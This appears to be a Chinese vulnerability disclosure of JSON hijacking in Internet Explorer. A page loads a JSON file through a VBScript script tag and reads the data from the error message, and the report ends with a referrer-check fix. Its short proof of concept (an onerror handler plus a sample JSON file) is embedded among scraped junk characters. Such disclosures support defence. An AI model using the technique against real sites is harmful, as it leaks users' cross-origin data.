简要描述:
: A( ~. E. l8 T* f+ Q: S5 o
& j4 U, P1 r3 _由于某些资源容器对数据处理不当导致json劫持漏洞.3 T$ Z' R( M2 ]; K, z/ t
详细说明:
6 @, P( L1 D. w8 ?1 N3 B9 s% K1 `: s由于ie支持vbscript,所以script元素可以指定成vbscript语言:0 \2 b6 R. @/ ^" E( {7 V1 }7 g8 {0 j
<script language=vbscript></script>/ J# d. H* j% v, H& c+ I
' P% |# `# ]/ E0 }3 j当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.* z! ]# e7 C4 w* r6 k' {( r4 c
漏洞证明:
4 F. w0 F8 ?1 y/ {5 u+ L# R9 d<script>
) D5 y' \8 Z: Qwindow.onerror=function(_){
2 W9 S* o% d5 D7 `1 P7 r. ^2 Y' v7 @alert(_)$ ~( K: N' U8 R
}
) m) E/ h+ E1 u' @</script>
# v1 C4 f* D; b5 E3 m. S<script language=vbscript src=1.json></script>
$ S* H5 s: J9 U 7 `6 j! L+ P$ N: N2 j' u
0 ]# _4 h$ p2 t
1.json:5 I5 S5 y. N, V0 W" ]% H3 B3 D$ [
[{"name":"sogili","age":19}]2 J! g7 ]! Y/ P0 R% p' K
修复方案:& {, x% _8 F$ N8 M
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |